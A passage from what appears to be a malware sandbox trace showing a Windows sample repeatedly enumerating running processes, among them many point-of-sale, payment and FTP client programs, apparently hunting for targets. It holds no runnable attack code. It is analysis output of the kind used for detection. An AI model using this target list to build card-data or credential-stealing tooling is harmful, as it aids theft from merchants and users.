th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0300.446] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0300.448] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0300.449] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0300.451] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0300.453] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0300.454] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0300.456] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0300.458] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0300.505] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0300.507] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0300.509] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0300.511] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0300.512] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0300.514] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0300.516] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0300.517] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0300.519] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0300.521] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0300.522] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0300.524] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0300.526] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0300.527] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0300.529] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0300.531] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0300.532] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0300.534] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0300.537] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0300.538] CloseHandle (hObject=0x344) returned 1 [0300.538] Sleep (dwMilliseconds=0x64) [0300.584] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0300.598] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0300.600] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0300.601] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0300.603] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0300.604] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0300.606] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0300.607] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0300.609] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0300.610] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0300.612] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.613] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.615] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0300.617] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.618] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.620] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.621] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.663] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.664] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.666] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.668] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0300.669] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0300.671] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0300.673] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.674] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0300.676] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0300.678] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0300.679] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0300.681] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0300.683] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0300.684] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0300.686] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0300.687] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0300.689] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0300.690] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0300.692] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0300.694] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0300.695] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0300.696] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0300.698] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0300.699] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0300.701] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0300.702] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0300.704] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0300.740] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0300.741] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0300.743] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0300.744] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0300.747] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0300.749] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0300.751] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0300.752] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0300.754] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0300.756] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0300.757] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0300.759] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0300.760] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0300.762] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) 